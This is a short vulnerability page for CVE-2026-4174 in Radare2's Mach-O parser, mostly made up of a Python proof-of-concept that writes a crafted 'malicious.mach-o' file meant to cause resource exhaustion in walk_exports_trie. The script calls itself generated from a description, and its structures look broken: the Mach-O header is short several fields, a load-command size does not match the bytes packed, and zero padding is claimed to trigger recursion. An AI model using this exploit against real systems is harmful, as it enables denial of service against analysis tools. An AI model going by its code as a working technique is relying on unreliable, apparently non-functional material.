CVE-2026-4174 Radare2 Mach-O文件解析器walk_exports_trie函数资源消耗漏洞

#!/usr/bin/env python3 """ CVE-2026-4174 PoC - Radare2 Mach-O Parser Resource Consumption Generated PoC based on vulnerability description """ import struct import sys def create_malicious_macho(): """ Generate a malicious Mach-O file that triggers resource consumption in Radare2's walk_exports_trie function """ # Mach-O magic number (64-bit) MAGIC = 0xfeedfacf CPU_TYPE_X86_64 = 0x01000007 CPU_SUBTYPE_ALL = 0x80000003 FILE_TYPE_DYLIB = 0xf # Create a minimal 64-bit Mach-O header header = struct.pack('<IIIII', MAGIC, # magic CPU_TYPE_X86_64, # cputype CPU_SUBTYPE_ALL, # cpusubtype FILE_TYPE_DYLIB, # filetype 1 # ncmds ) # Load command - LC_DYSYMTAB (symbol table) cmd_size = 24 cmd_data = struct.pack('<IIII', 0x0B, # cmd (LC_DYSYMTAB) cmd_size, # cmdsize 0, # ilocalsym 0 # iextdefsym ) # Create exports trie section with malformed data # This triggers excessive recursion in walk_exports_trie malformed_export = b'\x00' * 1000 # Padding to cause recursion print('[+] Malicious Mach-O file structure created') print('[+] This file targets walk_exports_trie function in libr/bin/format/mach0/mach0.c') print('[+] When opened by Radare2, it may cause resource exhaustion') return header + cmd_data + malformed_export if __name__ == '__main__': print('CVE-2026-4174 PoC Generator') print('Target: Radare2 < 6.1.2') print('Component: Mach-O File Parser (walk_exports_trie)') malicious_data = create_malicious_macho() output_file = 'malicious.mach-o' with open(output_file, 'wb') as f: f.write(malicious_data) print(f'[+] PoC written to: {output_file}')